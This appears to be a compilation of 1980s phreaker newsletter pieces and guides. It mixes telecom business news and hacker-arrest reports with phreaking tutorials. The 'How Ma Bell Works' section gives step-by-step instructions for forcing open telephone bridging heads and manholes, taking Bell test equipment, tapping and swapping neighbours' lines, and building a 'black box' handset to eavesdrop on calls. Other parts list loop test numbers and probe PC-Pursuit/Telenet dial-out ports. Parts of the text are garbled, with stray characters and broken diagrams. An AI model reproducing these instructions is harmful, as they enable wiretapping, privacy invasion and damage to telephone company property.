GTE Corp. and United TeleCom. +According to sources close to Snedaker, who was vice chairman and chief operating officer of United TeleCom, he is planning to consolidate +the company's 7 divisions, which operate in the same geographical regions as the seven regional Bell operating companies, into 3 divisions. +The rationale for the move, according to industry analysts, is that the company will need a much smaller work force once it begins handling all +it's phone traffic on it's new fiber optic network, which can carry a greater number of telephone calls at less cost. Company officials have +said that they expect to have most of the traffic on the network by early next year. One source said that there would be more than one round +of layoffs in the coming months and that the company ultimately plans to reduce its 14,000 member work force by 15 percent. +Several top managers are expected to resign as soon as US Sprint centralizes its marketing and support operations as its headquarters in +Kansas City, MO., according to a report in the latest issue of Business Week magazine. +A spokesman for US Sprint said on Friday that the company would not comment on the rumors. The company is the nation's third largest long +distance company, after the American Telephone and Telegraph Co. (AT&T) and MCI Communications Co. +Last year, Washington based MCI undertook a similar reorganization in which it posted a $502 million loss to write down old inventory and +restructure operations. +Analysts said that is US Sprint is to turn a profit, the company must increase its market share. "To do this, US Sprint must gain more large +business customers, which account for about 80 percent of industry revenues," said Robert B. Morris III, Securities in San Francisco. +Morris said that by using a slick marketing campaign to differentiate its all-fiber telephone network from those of competitors, US Sprint more +than doubled its customer base last year. But "most of these customers were residential and small business users that added little to Sprint's +bottom line," he added. "If the company expects to be profitable, it will have to concentrate on providing the best service to volume users." +Secret Service Cracks Down on Teen Hackers +Mount Lebanon, PA -- The US Secret Service and local police departments have put a scare into the hacker community with a nationwide +crackdown on computer crime that has resulted in the arrests of teenage hackers in at least three cities. +"People who monitor the bulletin boards say there are a lot of nervous hackers out there, wondering who will be arrested next," says Ronald +E. Freedman, vice-president of Advanced Information Management, a Woodbridge, VA base computer security firm. +Nine teenagers from Mount Lebanon Junior-Senior High School near Pittsburg, PA, were arrested recently and charged with computer fraud. +The juveniles allegedly used home computers to gain illegal access to a credit card authorization center. They obtained valid credit card +numbers and used them to purchase thousands of dollars worth of mail order merchandise, the police said. +Freedman says it appears the hackers used some relatively sophisticated techniques in the scheme, including specially written software that +enabled them to bypass security controls and navigate through credit records to obtain key information. +Police officials say that the hackers also obtained access codes from pirate bulletin board systems to make free long distance calls and gain +access to various business and government computers. +The arrests were the result of a 6 week investigation by the Secret Service and the Mount Lebanon police. The police were tipped off by +parents who were suspicious about how their son managed to obtain a skateboard valued at $140. +The Secret Service was also involved in investigations that led to the arrests of several hackers in San Francisco and New York last July. +Secret Service spokesman William Corbett says that although some reports have portrayed the hackers as part of a national crime ring, the +cases are unrelated. "It's just that a few of these computers hacking cases came to a head at about the same time," he says. +Federal Legislation enacted in 1984 gives the Secret Service, part of the Department of the Treasury, a major role in investigating computer +crimes. Under the federal Computer Fraud and Abuse Act of 1986, computer fraud is a felony that carries a maximum penalty of 5 years for +the first offense, and 10 years for the second. Displaying unauthorized passwords on hacking bulletin boards carries a maximum penalty of 1 +year in prison for the first offense, and 10 years for the second. +German Teens Crack NASA +Washington, D.C. -- A group of West German teenagers from the Chaos Computer Club penetrated a NASA network recently, saying they +were doing it to "test the security." +What they got into was SPAN Net, a computer network with about 700 notes, which is actually based at the Goddard Space Center in +Maryland. All that's in there is unclassified data, space science information, and post-flight data analysis. "Anyone with NASA related +research can apply for access to SPAN" says a spokesman, who adds that the network runs on DEC VAX hardware. "We picked up three +attempts to gain access and put in security precautions so it wouldn't happen." His personal opinion is, "We're happy that they couldn't get +back in, and decided to go public." He also added that NASA has many other networks, many of the classified and "probably impenetrable. But I +do not want to challenge anybody." +How'd they get in? Probably they got a West German NASA licensee, which gave them a visitor's pass, then they created new passwords +with unlimited security for themselves, after which getting around the network was easy. +91. Remote Informer Issue #4 by Tracker, Norman Bates, Ye Cap'n +Switching Systems +There are currently three different forms of switching systems that are present in the United States today. Step by Step (SxS), Crossbar, and +the Electronic Switching System (ESS) make up the group. Phreaks have always been a little tentative when it comes to "doing their work" +once they have heard about effects of switching systems on their hobby. After researching this topic, I have found that there really is not that +much to be worried about. Read on, while I share with you information which I have compiled about all of these switching systems and their +distinct features. +The first switching system that was used in the country was called Step by Step. This was adopted in 1918 by Bell, and until 1978, they had +over 53% of all their exchanges using Step by Step (SxS). This system is known for it's long, confusing train of switches that are used for its +step by step switching. +Step by Step has many disadvantages to phone users. The switch train becomes jammed fairly often, and it causes calls to be blocked. Also, +SxS does not allow the use of DTMF dialing. This accounts for some of the areas in the United States that cannot have touch tone dialing +abilities. A tremendous amount of electricity and maintenance needs to accompany the SxS switching system, which makes it even more +impratical. All in all, this is probably the most archaic switching system around. +There are a number of ways to see if you are on SxS. You will notice that there are no pulsing digits after dialing. Most sources say that the +phone company will sound like many typewriters. SxS does not offer features such as speed calling, call forwarding, three-way calling, call +waiting, and other such services. Pay phones on SxS also will want your money before you receive a dial tone. This adds to the list of +disadvantages labeled to that of the Step by Step switching systems. +Another type of switching system that is prevalent in the United States is Crossbar. Crossbar has been Bell's primary switcher after 1960, +and three types of it exists. Number 1 Crossbar (1xB), Number 4 Crossbar (4xB), and the Number 5 Crossbar (5xB). In Crossbar, a switching +matrix is used for all the phones in an area, and when someone calls, the route is determined and is met up with the other phone. This matrix is +set-up in horizontal and vertical paths. Unlike other switching systems, in my research, I could not come up with any true and definite +distinguishing features of the Crossbar switching systems. +The Electronic Switching System (ESS) is yet another switching system used in the United States and the most used of all three switching +systems. ESS is an extremely advanced and multi-faced type of switching system, and is feared by marauders of the phone company +everywhere. With ESS, your phone company is able to know every digit dialed (including mistakes), who you call, when you called, and how +long you were connected. ESS is also programmed to print out the numbers of people who make excessive calls to WATS numbers (800 +services) or directory assistance. This feature of ESS is called 800 Exceptional Calling Report, and has spelled the end of some forms of +continuous code hacks to certain extenders. ESS can also be programmed to print logs of who called and abused certain numbers as well. +Everything is kept track of in its records. +The aforementioned facts show that ESS has made the jobs of organizations such as the FBI, NSA, and other phone company security forces +easier. Tracing can be done in a matter of microseconds, and the result will be conveniently printed out on the monitor of a phone company +officer. ESS is also programmed to pick up any "foreign tones" on the phone line such as the many varied tones emulated by boxes. +ESS can be identified by a few features common in it. The 911 emergency service is covered in the later versions of ESS. Also, you are given +the dial tone first when using a pay phone unlike that of SxS. Calling services like call forwarding, speed calling, and call waiting are also +common to ESS. One other feature common to ESS is ANI (Automatic Number Identification) for long distance calls. As you can see, ESS is +basically the zenith of all switching systems, and it will probably plague the entire country by the early 1990's. Soon after, we should be +looking forward to a system called CLASS. This switching system will contain the feature of having the number of the person that is calling +you printed out on your phone. +What have I concluded about these switching systems? Well, they are not good enough. I know a few people employed by the phone +company, and I know for a fact that they do not have enough time these days to worry about code users, especially in large, metropolitan +areas. So, I will go out on a limb here, and say that a large portion of people will never have to worry about the horrors of ESS. +New Gizmo Can Change Voice Gender +The most amazing device has turned up in the new Hammacher Schlemmer catalog: the telephone voice gender changer. What it does is +change the pitch of your voice from, say, soprano to bass -- a most efficient way to dissuade an obscene phone caller just as he's getting +warmed up. That is not the same as running a 45 rpm. record at 33. In digital conversion, the pitch can be changed without altering the speed. +The device runs on a 9-volt batter and attaches to the telephone mouth piece with a rubber coupler that takes but a moment to slip on and off. +With the changer switched on, says Lloyd Gray, a Hammacher Schlemmer technical expert, "the effect is similar to what you hear when they +interview an anonymous woman on television and disguise her voice by deepening it." "It's better for changing a woman's voice to a man's +than the other way around," Gray said. A man can use it to raise the pitch of his voice, but he still won't sound like a woman." +A man could, however, use the changer to disguise his voice. But with the device set on high, Gray's voice still could be identified as his own. +On low, his normal tenor became so gravel like that the words were unintelligible. +92. Remote Informer Issue #5 by Tracker, Norman Bates, and Ye Cap'n +AT&T Rates +WASHINGTON -- American Telephone & Telegraph Co. proposed Tuesday to lower its interstate long-distance rates by an average of 3.6% to +reflect reduced costs in connecting to the local telephone network. The largest decrease -- 6.3% -- would be seen in day time prices "Because +of the need to make those rates more competitive," AT&T said. +Rates for calls made during evening hours would drop 2.2% and calls made during the late night and weekends would be cut by 0.8%, the +company said. The rate reductions would take effect Jan. 1, if they are approved by the Federal Communications Commission. Reacting to the +proposed price cuts, MCI Communications Corp. and US Sprint Communications Co., the nation's second-largest and third-largest long distance +companies respectively, said their response would depend on what the FCC finally approves but both said they intended to remain competitive +with AT&T. AT&T, the nation's largest long-distance company, proposed to the FCC that its rates drop as much as $800 million, but AT&T said +the exact amount will depend on the access charges the FCC allows the local telephone companies to collect from long distance carriers, +which must pay the fees to hook into the phone local network. +AT&T has challenged the new access rates filed by the regional Bell operating companies, contending they are more than $1 billion too high. In +proposing its new rates, the long-distance leader told the FCC it expects local companies' access fees to fall by at least $200 million -- which +would amount to an average rate reduction of less than 1%. But the company said it believes the FCC will order an additional $600 million in +reduc tions based on AT&T's challenge. +"We're confident the FCC will recognize that access charges filed by the local telephone companies need to be substantially reduced, which +would mean more savings for our customers," said Larry Garfinkel, AT&T vice president for marketing. He said the company filed its proposed +rates based on disputed charges because "we wanted to let the public react ... and further to let the FCC have full knowledge of where we +were heading given our expectation that we had a valid basis for our dispute." +AT&T's long-distance rates have fallen by about 34% since the company was stripped of its local operating companies by an antitrust decree +nearly four years ago. Since then, phone rate payers have been paying a larger share of the +costs of maintaining the local network through monthly subscriber line charges, +now $2.60 for residential customers. That has reduced the long-distance companies' share of local network expenses, which they pay in the +form of access charges. Jack Grubman, a telephone analyst with PaineWebber Inc., said AT&T's proposal targets business customers +because "that's where the competition is and where the better (profit) margins are." In addition, it aims to keep the pressure on competition in +international calling by extending discounts to more customers. Grubman added that, if the company's rate proposal is approved by the FCC, he +would expect no further cuts in AT&T rates in 1988. Wendell Lind, AT&T administrator of rates and tariffs, said the cuts for business and +residential customers are about the same because business cuts are offset by a proposed $128 million increase in AT&T's private line rates. +AT&T is the only long-distance company whose rates are regulated by the FCC, but its prices set the pace for the industry. Though AT&T is far +larger than any of its competitors, its market share has been declining since divestiture and the company now says it serves about 75 percent +of the market. In addition to the reductions in basic long-distance rates, AT&T proposed cutting prices by 5% and 5.7% for its Pro-America +calling plans. The company also proposed to reduce prices by 2.9 percent for its 800 Service customers and 4.4 percent for WATS customers, +although it would increase the monthly access line charges for those plans by $3.20 to reflect higher special access charges filed by the local +phone companies. +US Sprint Operator Service Traffic Increases 40% +ORLANDO, Fla. -- US Sprint Wednesday announced its long distance operators who began saying, "May I help you?" just five months ago, are +now handling 3 million calls a month. +The fiber-optic long-distance carrier, offering the only operator service alternative to AT&T has experienced a 40 percent growth in operator +service calls since it announced its service July 1. Amanda Weathersby, US Sprint vice president of product marketing, said Tuesday, "More +and more people are taking advantage of our call completion assistance and alternative billing arrangements. "Customer surcharges are the +same as AT&T with the added benefit of US Sprint's fiber-optic quality and lower long-distance rates." US Sprint currently offers person-toperson, +station-to-station, call completion and collect calling. US Sprint has announced an agreement with US WEST Service Link that will allow +anyone to call on US Sprint and charge their calls to a Regional Bell Operating Co. calling card beginning in first quarter 1988. +"Previously, our operator service was available only on pre-subscribed US Sprint phones and recently we added operator assistance for US +Sprint FON CARD customers," Weathersby said. "With this new agreement, we'll be able to expand our operator service to markets such as +pay phones, hospitals, and hotels/motels." The newest 24-hour operator service center in Dallas began operations on Oct. 5. US Sprint's other +operator service centers are in: Cherry Hill, NJ; Atlanta; Lombard, IL and Reno, NV. US Sprint is a joint venture of United Telecommunications +Inc. of Kansas City, MO and GTE Corp. of Stamford, Conn. +Pacific Bell Pursuing Calling Card Thief +SAN FRANCISCO--(BW)--Pacific Bell is warning consumers to protect their telephone calling cards like any other credit card in the wake of a +series of frauds by people posing as phone company employees. A Pacific Bell spokesman says customers in the 213, 805 and 916 area +codes are being victimized by someone who says he is a telephone company employee investigating calling card fraud. The individual calls +people at home at odd hours, asking for their calling card numbers. He then sells the numbers to people who use the numbers to make long +distance phone calls. +As recently as Monday of this week, 180 long distance calls were billed to a Sacramento area resident who had given his number to the thief +just three hours earlier. According to Pacific Bell, this kind of scheme and other forms of calling card fraud cost telephone customers +nationwide half a billion dollars a year. The company offered these tips to consumers to avoid becoming a victim +of calling card fraud: +Never give your calling card number or personal identification number to anyone. Any telephone company employee with a legitimate need to +know the number has access to it. Treat your calling card like any other credit card. Report its loss immediately by calling the 800 number on +the back of the card 800-621-0430. If you receive a suspicious call regarding your telephone calling card, report it by calling the 800 number +on the back of the card. If you receive a call from someone claiming to be a telephone company employee and asking for your calling card +number, ask for a name and number to call back. Then call the local Pacific Bell business office to report the incident. +One suspect was arrested in Southern California last week by a quick thinking customer who did just that. Pacific Bell immediately contacted +the local police department. A suspect holding seven stolen calling card numbers was arrested minutes later. Pacific Bell and long-distance +telephone companies will credit customers for calling card charges determined to be fraudulent. Pacific Bell is a subsidiary of Pacific Telesis +Group, a diversified telecommunications corporation based in San Francisco. +93. The Phreaker's Guide to Loop Lines by The Jolly Roger +A loop is a wondrous device which the telephone company created as test numbers for telephone repairmen when testing equipment. By +matching the tone of the equipment with the tone of the loop, repairmen can adjust and test the settings of their telephone equipment. A loop, +basically, consists of two different telephone numbers. Let's use A and B as an example. Normally if you call A, you will hear a loud tone (this +is a 1004 hz tone), and if you call B, the line will connect, and will be followed by silence. +This is the format of a loop line. Now, if somebody calls A and someone else calls B--Viola!--A and B loop together, and one connection is +made. Ma Bell did this so repairmen can communicate with each other without having to call their own repair office. They can also use them to +exchange programs, like for ANA or Ringback. Also, many CO's have a "Loop Assignment Center". If anyone has any information on these +centers please tell me. Anyway, that is how a loop is constructed. From this information, anyone can find an actual loop line. Going back to the +A and B example, Note: the tone side and the silent side can be either A or B. Don't be fooled if the phone company decides to scramble them +around to be cute. As you now know, loops come in pairs of numbers. Usually, right after each other. +For example: 817-972-1890 +and +817-972-1891 +Or, to save space, one loop line can be written as 817-972-1890/1. This is not always true. Sometimes, the pattern is in the tens or hundreds, +and, occasionally, the numbers are random. In cities, usually the phone company has set aside a phone number suffix that loops will be used +for. Many different prefixes will correspond with that one suffix. In Arlington, Texas, a popular suffix for loops is 1893 and 1894, and a lot of +prefixes match with them to make the number. +For Example: 817-460-1893/4 +817-461-1893/4 +817-465-1893/4 +817-467-1893/4 +817-469-1893/4 +...are all loops... +or a shorter way to write this is: +817-xxx-1893/4 +xxx= 460, 461, 465, 467, 469 +Note: You can mix -and-match a popular suffix with other prefixes in a city, and almost always find other loops or test numbers. +Note: For Houston, the loop suffixes are 1499 and 1799. And for Detroit it's 9996 and 9997. When there are a large number of loops with the +same prefix format, chances are that many loops will be inter-locked. Using the above example of Arlington loops again, (I will write the +prefixes to save space) 460, +461, and 469 are interlocked loops. This means that only one side can be used at +a given time. This is because they are all on the same circuit. To clarify, if 817-461-1893 is called, 817-460 and 469-1893 cannot be called +because that circuit is being used. Essentially, interlocked loops are all the same line, but there are a variety of telephone numbers to access +the line. +Also, if the operator is asked to break in on a busy loop line he/she will say that the circuit is overloaded, or something along those lines. This +is because Ma Bell has taken the checking equipment off the line. However, there are still many rarely used loops which can be verified and +can have emergency calls taken on them. As you have found out, loops come in many types. Another type of loop is a filtered loop. These are +loop lines that the tel co has put a filter on, so that normal human voices cannot be heard on either line. However, other frequencies may be +heard. It all depends on what the tel co wants the loop to be used for. If a loop has gotten to be very popular with the local population or used +frequently for conferences, etc. the tel co may filter the loop to stop the unwanted "traffic". Usually, the filter will be removed after a few +months, though. +94. How Ma Bell Works by The Jolly Roger +In this article, I will first describe the termination, wiring, and terminal hardware most commonly used in the Bell system, and I will include +section on methods of using them. +LOCAL NETWORK +The local telephone network between the central office/exchange and the telephone subscribers can be briefly described as follows: +From the central office (or local exchange) of a certain prefix(es), underground area trunks go to each area that has that prefix (Usually more +than one prefix per area.) At every few streets or tract areas, the underground cables surface. They then go to the telephone pole (or back +underground, depending on the area) and then to the subscribers house (or in the case of an apartment building or mutli-line business, to a +splitter or distribution box/panel). Now that we have the basics, I'll try and go in-depth on the subject. +UNDERGROUND CABLES +These are sometimes inter-office trunks, but usually in a residential area they are trunk lines that go to bridging heads or distribution cases. The +cables are about 2-3 inches thick (varies), and are either in a metal or pvc-type pipe (or +similar). Rarely (maybe not in some remote rural areas) are the cables just 'alone' in the ground. Instead they are usually in an underground +cement tunnel (resembles a small sewer or storm drain.) The manholes are heavy and will say 'Bell system' on them. They can be opened with +a inch wide crowbar (Hookside) inserted in the top rectangular hole. There are ladder rungs to help you climb down. You will see the cable +pipes on the wall, with the blue and white striped one being the inter-office trunk (at least in my area). The others are local lines, and are +usually marked or color coded. There is almost always a posted color code chart on the wall, not to mention Telco manuals describing the +cables and terminals, so I need not get into detail. Also, there is usually some kind of test equipment, and often Bell test sets are left in there. +BRIDGING HEADS +The innocent-looking grayish-green boxes. These can be either trunk bridges or bridging for residences. The major trunk bridging heads are +usually larger, and they have the 'Western Electric' logo at the bottom, whereas the normal bridging heads (which may be different in some +areas -depending on the company you are served by. GTE B.H.'s look slightly different. Also, do not be fooled by sprinkler boxes!) They can be +found in just about every city. To open a bridging head: if it is locked (and you're feeling destructive), put a hammer or crowbar (the same one +you used on the manhole) in the slot above the top hinge of the right door. Pull hard, and the door will rip off. Very effective! If it isn't locked (as +usual), take a 7/8 inch hex socket and with it, turn the bolt about 1/8 of a turn to the right (you should hear a spring release inside). Holding the +bolt, turn the handle all the way to the left and pull out. To Check for a test-set (which are often left by Bell employees), go inside - First check +for a test-set (which are often left by Bell employees). There should be a panel of terminals and wires. Push the panel back about an inch or +so, and rotate the top latch (round with a flat section) downward. Release the panel and it will fall all the way forward. There is usually a +large amount of wire and extra terminals. The test-sets are often hidden here, so don't overlook it (Manuals, as well, are sometimes placed in +the head). On the right door is a metal box of alligator clips. Take a few (Compliments of Bell.). On each door is a useful little round metal +device. (Says 'insert gently' or 'clamp gently - do not overtighten' etc..) On the front of the disc, you should find two terminals. These are for +your test set. (If you don't have one, dont despair - I'll show you ways to make basic test sets later in this article). Hook the ring (-) wire to the +'r' terminal; and the tip (+) wire to the other. (By the way, an easy way to determine the correct polarity is with a 1�v LED. Tap it to the term. +pair, if it doesn't light, switch the poles until it does. When it lights, find the longer of the two LED poles: This one will be on the tip wire (+). +Behind the disc is a coiled up cord. This should have two alligator clips on it.. Its very useful, because you don't have to keep connecting and +disconnecting the fone (test set) itself, and the clips work nicely. On the terminal board, there should be about 10 screw terminals per side. +Follow the wires, and you can see which cable pairs are active. Hook the clips to the terminal pair, and you're set! Dial out if you want, or just +listen (If someone's on the line). Later, I'll show you a way to set up a true 'tap' that will let the person dial out on his line and receive calls as +normal, and you can listen in the whole time. More about this later... On major prefix-area bridging heads, you can see 'local loops', which are +two cable pairs (cable pair = ring+tip, a fone line) that are directly connected to each other on the terminal board. Th ese 'cheap loops' as they +are called, do not work nearly as well as the existing ones set up in the switching hardware at the exchange office. (Try scanning your +prefixes �00xx to 99xx #'s.) The tone sides will announce themselves with the 1008 hz loop tone, and the hang side will give no response. The +first person should dial the 'hang' side, and the other person dial the tone side, and the tone should stop if you have got the right loop.) If you +want to find the number of the line that you're on, you can either try to decipher the 'bridging log' (or whatever), which is on the left door. If that +doesn't work, you can use the following: +ANI # (Automatic Number ID) +This is a Telco test number that reports to you the number that you're calling from (It's the same, choppy 'Bell bitch' voice that you get when you +reach a disconnected number) +For the: +213 NPA - Dial 1223 +408 NPA - Dial 760 +914 NPA - Dial 990 +These are extremely useful when messing with any kind of line terminals, house boxes, etc. Now that we have bridging heads wired, we can +go on... (don't forget to close and latch the box after all... Wouldn't want GE and Telco people mad, now, would we?) +"CANS" - Telephone Distribution Boxes +Basically, two types: +1.Large, rectangular silver box at the end of each street. +2.Black, round, or rectangular thing at every telephone pole. +Type 1 - This is the case that takes the underground cable from the bridge and runs it to the telephone pole cable (The lowest, largest one on +the telephone pole.) The box is always on the pole nearest the bridging head, where the line comes up. Look for the 'Call before you Dig - +Underground cable' stickers.. The case box is hinged, so if you want to climb the pole, you can open it with no problems. These usually have 2 +rows of terminal sets. You could try to impersonate a Telco technician and report the number as 'new active' (giving a fake name and fake +report, etc.) I don't recommend this, and it probably won't (almost positively won't) work, but this is basically what Telco linemen do.) +Type 2 - This is the splitter box for the group of houses around the pole (Usually 4 or 5 houses). Use it like I mentioned before. The terminals +(8 or so) will be in 2 horizontal rows of sets. The extra wires that are just 'hanging there' are provisions for extra lines to residences (1 extra +line per house, that's why the insane charge for line #3!) If its the box for your house also, have fun and swap lines with your neighbor! +'Piggyback' them and wreak havoc on the neighborhood (It's eavesdropping time...) Again, I don't recommend this, and its difficult to do it +correctly. Moving right along... +APARTMENT / BUSINESS MULTI-LINE DISTRIBUTION BOXES +Found outside the building (most often on the right side, but not always... Just follow the wire from the telephone pole) or in the basement. It +has a terminal for all the lines in the building. Use it just like any other termination box as before. Usually says 'Bell system' or similar. Has up to +20 terminals on it (usually.) the middle ones are grounds (forget these). The wires come from the cable to one row (usually the left one), with +the other row of terminals for the other row of terminals for the building fone wire pairs. The ring (-) wire is usually the top terminal if the set in +the row (1 of 10 or more), and the tip is +in the clamp/screw below it. This can be reversed, but the cable pair is always terminated one-on-top-of-each- other, not on the one next to it. +(I'm not sure why the other one is there, probably as a provision for extra lines) Don't use it though, it is usually to close to the other terminals, +and in my experiences you get a noisy connection. +Final note: Almost every apartment, business, hotel, or anywhere there is more than 2 lines this termination lines this termination method is +used. If you can master this type, you can be in control of many things... Look around in your area for a building that uses this type, and +practice hooking up to the line, etc. As an added help, here is the basic 'standard' color-code for multi-line terminals/wiring/etc... +Single line: Red = Ring +Green = Tip +Yellow = Ground * +*Connected to the ringer coil in individual and bridged ringer phones (Bell only) Usually connected to the green (Tip) +Ring (-) = Red +White/Red Stripe +Brown +White/Orange Stripe +Black/Yellow Stripe +Tip (+) = Green (Sometimes yellow, see above.) +White/Green Stripe +White/Blue Stripe +Blue +Black/White Stripe +Ground = Black +Yellow +RESIDENCE TERMINAL BOX +Small, gray (can be either a rubber (Pacific Telephone) or hard plastic (AT&T) housing deal that connects the cable pair from the splitter box +(See type 2, above) on the pole to your house wiring. Only 2 (or 4, the 2 top terminals are hooked in parallel with the same line) terminals, and +is very easy to use. This can be used to add more lines to your house or add an external line outside the house. +TEST SETS +Well, now you can consider yourself a minor expert on the terminals and wiring of the local telephone network. Now you can apply it to +whatever you want to do.. Here's another helpful item: +How to make a Basic Test-Set and how to use it to dial out, eavesdrop, or seriously tap and record line activity. These are the (usually) orange +hand set fones used by Telco technicians to test lines. To make a very simple one, take any Bell (or other, but I recommend a good Bell fone like +a princess or a trimline. GTE flip fones work excellently, though..) fone and follow the instructions below. +Note: A 'black box' type fone mod will let you tap into their line, and with the box o, it's as if you weren't there. They can receive calls and dial +out, and you can be listening the whole time! Very useful. With the box off, you have a normal fone test set. +Instructions: +A basic black box works well with good results. Take the cover off the fone to expose the network box (Bell type fones only). The +terminal should have a green wire going to it (orange or different if touch tone - doesn't matter, its the same thing). Disconnect the wire and +connect it to one pole of an SPST switch. Connect a piece of wire to the other pole of the switch and connect it to the terminal. Now +take a 10kohm watt 10% resistor and put it between the terminal ad the terminal, which should have a blue and a white wire going +to it (different for touch tone). It should look like this: +-----Blue wire---------- +! +----White wire-----! +! +10k Resistor +! +! +--Green wire -- !---- +! ! +SPST +What this does in effect is keep the hookswitch / dial pulse switch (F to RR loop) open while holding the line high with the resistor. This gives +the same voltage effect as if the fone was 'on-hook', while the 10k ohms holds the voltage right above the 'off hook' threshold (around 22 volts +or so, as compared to 15-17 or normal off hook 48 volts for normal 'on-hook'), giving Test Set Version 2. +Another design is similar to the 'Type 1' test set (above), but has some added features: +From >----------------Tip----------------------Ring----- [HUNT] +2.C 2011,PCP10000, [HUNT] +3.C 2011.10,PCP10000, [NON HUNT] +The first, is self explanatory. The second does the same thing as the first, only that it is slightly faster and gives the user much greater +flexibility. The third is an example the flexibility, because a request is made to connect to the tenth, and only the tenth, modem on the NJNEW/3 +port. By simply attempting to connect to every single modem in the 2011 chain, we were able to count the number of modems on each port and +come up with the following charts which were extracted on June the twenty ninth of the year 1989: +Rotary Port Direct Address Max. Range City Total Rotary Port Direct Address Max. Range +City Total +NJNEW/3 2011 .12 56 CAOAK/3 4155 .4 16 +/12 201301 .4 /12 415216 .8 +/24 20122 .4 /24 41511 .4 +DCWAS/3 202115 .6 46 CAPAL/3 415106 .4 12 +/12 202116 .24 /12 415224 .8 +/24 202117 .16 /24 NONE NONE +CTHAR/3 NONE NONE 8 CASFA/3 415215 .6 20 +/12 203120 .8 /12 415217 .10 +/24 NONE NONE /24 41523 .4 +WASEA/3 20617 .4 30 ORPOR/3 50320 .2 8 +/12 20619 .22 /12 50321 .6 +/24 20621 .4 /24 NONE NONE +NYNYO/3 212315 .4 22 AZPHO/3 60222 .4 20 +/12 212316 .14 /12 60223 .12 +/24 21228 .4 /24 60226 .4 +CALAN/3 213412 .8 40 MNMIN/3 612120 .4 22 +/12 213413 .28 /12 612121 .14 +/24 21323 .4 /24 61222 .4 +TXDAL/3 214117 .6 30 MABOS/3 617311 .4 32 +/12 214118 .22 /12 617313 .20 +/24 21422 .4 /24 61726 .8 +PAPHI/3 215112 .6 36 TXHOU/3 713113 .8 42 +/12 2155 .22 /12 713114 .24 +/24 21522 .8 /24 71324 .1 +OHCLE/3 21620 .4 26 CACOL/3 71423 .4 18 +/12 21621 .18 /12 7144 .1 +/24 216120 .4 /24 71424 .4 +CODEN/3 303114 .4 40 CASAN/3 714119 .4 20 +/12 303115 .18 /12 714213 .12 +/24 30321 .22 /24 714124 .4 +FLMIA/3 305120 .6 28 CASDI/3 714102 .4 22 +/12 305121 .18 (619)/12 714210 .14 +/24 305122 .4 /24 714121 .4 +ILCHI/3 312410 .8 40 UTSLC/3 80120 .4 22 +/12 312411 .28 /12 80121 .14 +/24 31224 .4 /24 80112 .4 +MIDET/3 313214 .6 30 FLTAM/3 81320 .4 18 +/12 313216 .18 /12 81321 .1 +/24 31324 .6 /24 813124 .4 +MOSLO/3 3145 .4 16 MOKCI/3 816104 .4 20 +/12 314421 .8 /12 816221 .12 +/24 31420 .4 /24 816113 .4 +GAATL/3 404113 .8 32 CAGLE/3 NONE NONE ?? +/12 404114 .20 /12 81821 .18 +/24 40422 .4 /24 NONE NONE +CASJO/3 408111 .4 34 CASAC/3 9167 .4 16 +/12 40821 .26 /12 91611 .8 +/24 408110 .4 /24 91612 .4 +WIMIL/3 41420 .4 24 NCRTP/3 91920 .4 20 +/12 41421 .16 /12 91921 .12 +/24 414120 .4 /24 919124 .4 +NOTE: CASAC/3, CASAC/24 were estimated. +PC-Pursuit Modems Statistics Chart +Number of Modems - 01/29/89 +Mnemonic 300 1200 2400 Total +NJNEW 12 40 4 56 +DCWAS 6 24 16 46 +CTHAR 0 8 0 8 +WASEA 4 22 4 30 +NYNYO 4 14 4 22 +CALAN 8 28 4 40 +TXDAL 6 22 4 32 +PAPHI 6 22 8 36 +OHCLE 4 18 4 26 +CODEN 4 18 22 44 +FLMIA 6 18 4 28 +ILCHI 8 28 4 40 +MIDET 6 18 6 30 +MOSLO 4 8 4 16 +GAATL 8 20 4 32 +CASJO 4 26 4 34 +WIMIL 4 16 4 24 +CAOAK 4 8 4 16 +APAL 4 8 0 12 +CASFA 6 10 4 20 +ORPOR 2 6 0 8 +AZPHO 4 12 4 20 +MNMIN 4 14 4 22 +MABOS 4 20 8 32 +TXHOU 8 24 10 42 +CACOL 4 10 4 18 +CASAN 4 12 4 20 +CASDI 4 14 4 22 +UTSLC 4 14 4 22 +FLTAM 4 10 4 18 +MOKCI 4 12 4 20 +CAGLE 4 18 4 26 +CASAC 4 8 4 16 +NCRTP 4 12 4 20 +Total 166 562 170 898 +Average 4.8823529 16�29412 5 26.411765 +I think the statistics basically speak for themselves. I am sure there will no doubt be hundreds of people who will not smile at the number of +specific kinds of ports supported, not to mention the number of 'dead' or 'down' modems you will find when you verify the totals. Usually, 2% to +perhaps 10% of the modems are 'dead' with specific ones repeatedly failing week after week. +History Of This Collection: +Almost a year ago a small selected group of devoted individuals got together to discuss problems with the PC-Pursuit Network, in the middle of +our discussions a question was asked as to how the network really processes our calls. This was intended to help us assess SET commands +and other such matters. When the address hypothesis was offered we quickly set out to prove it. It was proved in about 3 minutes with the +discovery of 2011 (First try was xxx1). The data has continually been collected and analyzed ever since, but until now, has never been mass +released. +A small group of teen age hackers discovered several interesting things that can be done with these addresses -- many of which will not be +discussed here short of mentioning that these ports connected to via these addresses are not limited to PC-Pursuiters. You can, however, +fight "dead" dialout modems in cities via the address method. Dead modems can be located in about 10 seconds (faster than Telenet), and can +either be reported or skipped past by the user connecting to the next modem in the sequence after the "dead" one. (Note: Say 2011.3 is dead, +connect to 2011.4 and you will be past it. If 2011.4 is busy, go to 2011�. The reader should notice 2011.3 is the same as 2011C.) +The most interesting value of these addresses is that one can count the number of ports that Telenet keeps so secret (Grin). When there +were only 28 cities in operation there were an average of 2.7 300 baud, 9.4 1200 baud, and 2 2400 baud modems in each city. Some cities +had as little as 2 modems on a port and as many as 12. Only recently has the number of modems per city begun to jump. +How To Update The Count Yourself: +An ID is not required to "request" one of these ports, thus the tallying can be done any time of day by simply typing the number at the @ +prompt. Here is an example with four modems (NJNEW/24): +@20122.1 +201 22A REFUSED COLLECT CONNECTION 19 80 +@20122.2 +201 22B REFUSED COLLECT CONNECTION 19 80 +@20122.3 +201 22C REFUSED COLLECT CONNECTION 19 80 +@20122.4 +201 22D REFUSED COLLECT CONNECTION 19 80 +@20122� +201 22E ILLEGAL ADDRESS 19 80 +The reader should be aware that PC-Pursuit ports always respond with '19 80'. Do not confuse it with '19 00', which are not PC-Pursuit ports. +In the above example we know there are four ports because the forth was the last existing port before we encountered the 'ILLEGAL +ADDRESS.' There are several ways to signify that you have gone one beyond the end of the ports: +1.xxx xxx ILLEGAL ADDRESS 19 80 +2.xxx xxx NOT OPERATING 19 80 +3.The request freezes (Note: Issue a BREAK then D to abort the attempt yielding 'ATTEMPT ABORTED'.) +You should be aware that modems which are out of order in the middle of the sequence can respond with 